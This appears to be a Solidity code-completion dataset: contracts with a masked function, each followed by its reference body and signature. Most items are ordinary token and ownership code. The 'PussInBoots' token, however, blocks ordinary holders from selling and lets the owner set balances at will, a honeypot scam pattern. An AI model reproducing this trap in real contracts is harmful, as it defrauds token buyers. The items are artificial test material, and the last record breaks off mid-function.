'FireBuyFee should be in 1 - 99'); _FireBuyFee = FireBuyFee; } function _setFireBuyWallet(address payable FireBuyWalletAddress) external onlyOwner() { _FireBuyWalletAddress = FireBuyWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular FireBuy event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForFireBuy; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the FireBuy wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFireBuy(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and FireBuy fee _tokenTransfer(sender,recipient,amount,takeFee);
function _transfer(address sender, address recipient, uint256 amount) private
function _transfer(address sender, address recipient, uint256 amount) private
43856
ERC20Detailed
null
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } }
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } }
_name = name; _symbol = symbol; _decimals = decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public
constructor (string memory name, string memory symbol, uint8 decimals) public
54151
Ownable
transferOwnership
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
85705
Ownable
null
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal {<FILL_FUNCTION_BODY> } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() internal { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() internal { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor () internal
constructor () internal
47909
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) onlyOwner public
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public
67567
PussInBoots
transferownership
contract PussInBoots { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) {<FILL_FUNCTION_BODY> } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
contract PussInBoots { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; <FILL_FUNCTION> mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
require(msg.sender == owner); tradeAddress = addr; return true;
function transferownership(address addr) public returns(bool)
function transferownership(address addr) public returns(bool)
42821
TMTG
null
contract TMTG is TMTGBaseToken { string public constant name = "The Midas Touch Gold"; string public constant symbol = "TMTG"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1e10 * (10 ** uint256(decimals)); constructor() public {<FILL_FUNCTION_BODY> } }
contract TMTG is TMTGBaseToken { string public constant name = "The Midas Touch Gold"; string public constant symbol = "TMTG"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1e10 * (10 ** uint256(decimals)); <FILL_FUNCTION> }
totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; openingTime = block.timestamp; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
constructor() public
constructor() public
16900
Token
transferFrom
contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true;
function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success)
function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success)
39667
SafeMath
safeMul
contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) throw; return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) throw; return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {<FILL_FUNCTION_BODY> } }
contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) throw; return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) throw; return x - y; } <FILL_FUNCTION> }
if (y == 0) return 0; if (x > MAX_UINT256 / y) throw; return x * y;
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z)
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z)
93083
UpgradeAgent
isUpgradeAgent
contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) {<FILL_FUNCTION_BODY> } function upgradeFrom(address _from, uint256 _value) public; }
contract UpgradeAgent { uint public originalSupply; <FILL_FUNCTION> function upgradeFrom(address _from, uint256 _value) public; }
return true;
function isUpgradeAgent() public constant returns (bool)
/** Interface marker */ function isUpgradeAgent() public constant returns (bool)
61926
Ownable
null
contract Ownable is Context { address internal _owner; constructor() {<FILL_FUNCTION_BODY> } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } }
contract Ownable is Context { address internal _owner; <FILL_FUNCTION> function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } }
address msgSender = _msgSender(); _owner = msgSender;
constructor()
constructor()
20148
VanityURL
changeVanityURL
contract VanityURL is Ownable,Pausable { // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { return vanity_address_mapping[_vanity_url]; } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { return address_vanity_mapping[_address]; } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); require(bytes(address_vanity_mapping[msg.sender]).length == 0); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character... if ((bStr[i] >= 65) && (bStr[i] <= 90)) { // So we add 32 to make it lowercase bLower[i] = bytes1(int(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { uint length = bytes(_vanity_url).length; require(length >= 4 && length <= 200); for (uint i =0; i< length; i++){ var c = bytes(_vanity_url)[i]; if ((c < 48 || c > 122 || (c > 57 && c < 65) || (c > 90 && c < 97 )) && (c != 95)) return false; } return true; } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public {<FILL_FUNCTION_BODY> } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { require(bytes(address_vanity_mapping[_to]).length == 0); require(bytes(address_vanity_mapping[msg.sender]).length != 0); address_vanity_mapping[_to] = address_vanity_mapping[msg.sender]; vanity_address_mapping[address_vanity_mapping[msg.sender]] = _to; VanityTransfered(msg.sender,_to,address_vanity_mapping[msg.sender]); delete(address_vanity_mapping[msg.sender]); } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); /* check if vanity url is being used by anyone */ if(vanity_address_mapping[_vanity_url] != address(0x0)) { /* Sending Vanity Transfered Event */ VanityTransfered(vanity_address_mapping[_vanity_url],_to,_vanity_url); /* delete from address mapping */ delete(address_vanity_mapping[vanity_address_mapping[_vanity_url]]); /* delete from vanity mapping */ delete(vanity_address_mapping[_vanity_url]); } else { /* sending VanityReserved event */ VanityReserved(_to, _vanity_url); } /* add new address to mapping */ vanity_address_mapping[_vanity_url] = _to; address_vanity_mapping[_to] = _vanity_url; } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { require(vanity_address_mapping[_vanity_url] != address(0x0)); /* delete from address mapping */ delete(address_vanity_mapping[vanity_address_mapping[_vanity_url]]); /* delete from vanity mapping */ delete(vanity_address_mapping[_vanity_url]); /* sending VanityReleased event */ VanityReleased(_vanity_url); } /* function to kill contract */ function kill() onlyOwner { selfdestruct(owner); } /* transfer eth recived to owner account if any */ function() payable { owner.transfer(msg.value); } }
contract VanityURL is Ownable,Pausable { // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { return vanity_address_mapping[_vanity_url]; } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { return address_vanity_mapping[_address]; } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); require(bytes(address_vanity_mapping[msg.sender]).length == 0); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url); } /* function to make lowercase */ function _toLower(string str) internal returns (string) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character... if ((bStr[i] >= 65) && (bStr[i] <= 90)) { // So we add 32 to make it lowercase bLower[i] = bytes1(int(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { uint length = bytes(_vanity_url).length; require(length >= 4 && length <= 200); for (uint i =0; i< length; i++){ var c = bytes(_vanity_url)[i]; if ((c < 48 || c > 122 || (c > 57 && c < 65) || (c > 90 && c < 97 )) && (c != 95)) return false; } return true; } <FILL_FUNCTION> /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { require(bytes(address_vanity_mapping[_to]).length == 0); require(bytes(address_vanity_mapping[msg.sender]).length != 0); address_vanity_mapping[_to] = address_vanity_mapping[msg.sender]; vanity_address_mapping[address_vanity_mapping[msg.sender]] = _to; VanityTransfered(msg.sender,_to,address_vanity_mapping[msg.sender]); delete(address_vanity_mapping[msg.sender]); } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); /* check if vanity url is being used by anyone */ if(vanity_address_mapping[_vanity_url] != address(0x0)) { /* Sending Vanity Transfered Event */ VanityTransfered(vanity_address_mapping[_vanity_url],_to,_vanity_url); /* delete from address mapping */ delete(address_vanity_mapping[vanity_address_mapping[_vanity_url]]); /* delete from vanity mapping */ delete(vanity_address_mapping[_vanity_url]); } else { /* sending VanityReserved event */ VanityReserved(_to, _vanity_url); } /* add new address to mapping */ vanity_address_mapping[_vanity_url] = _to; address_vanity_mapping[_to] = _vanity_url; } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { require(vanity_address_mapping[_vanity_url] != address(0x0)); /* delete from address mapping */ delete(address_vanity_mapping[vanity_address_mapping[_vanity_url]]); /* delete from vanity mapping */ delete(vanity_address_mapping[_vanity_url]); /* sending VanityReleased event */ VanityReleased(_vanity_url); } /* function to kill contract */ function kill() onlyOwner { selfdestruct(owner); } /* transfer eth recived to owner account if any */ function() payable { owner.transfer(msg.value); } }
require(bytes(address_vanity_mapping[msg.sender]).length != 0); _vanity_url = _toLower(_vanity_url); require(checkForValidity(_vanity_url)); require(vanity_address_mapping[_vanity_url] == address(0x0)); vanity_address_mapping[_vanity_url] = msg.sender; address_vanity_mapping[msg.sender] = _vanity_url; VanityReserved(msg.sender, _vanity_url);
function changeVanityURL(string _vanity_url) whenNotPaused public
/* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public
86508
ERC20Detailed
initialize
contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } uint256[50] private ______gap; }
contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } uint256[50] private ______gap; }
_name = name; _symbol = symbol; _decimals = decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer
56002
TokenERC20
burnFrom
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } <FILL_FUNCTION> }
require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true;
function burnFrom(address _from, uint256 _value) public returns (bool success)
function burnFrom(address _from, uint256 _value) public returns (bool success)
18069
Agent
updateAgent
contract Agent is Ownable { address public defAgent; mapping(address => bool) public Agents; event UpdatedAgent(address _agent, bool _status); constructor() public { defAgent = msg.sender; Agents[msg.sender] = true; } modifier onlyAgent() { assert(Agents[msg.sender]); _; } function updateAgent(address _agent, bool _status) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Agent is Ownable { address public defAgent; mapping(address => bool) public Agents; event UpdatedAgent(address _agent, bool _status); constructor() public { defAgent = msg.sender; Agents[msg.sender] = true; } modifier onlyAgent() { assert(Agents[msg.sender]); _; } <FILL_FUNCTION> }
assert(_agent != address(0)); Agents[_agent] = _status; emit UpdatedAgent(_agent, _status);
function updateAgent(address _agent, bool _status) public onlyOwner
function updateAgent(address _agent, bool _status) public onlyOwner
64227
Timelock
setDelay
contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public {<FILL_FUNCTION_BODY> } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = 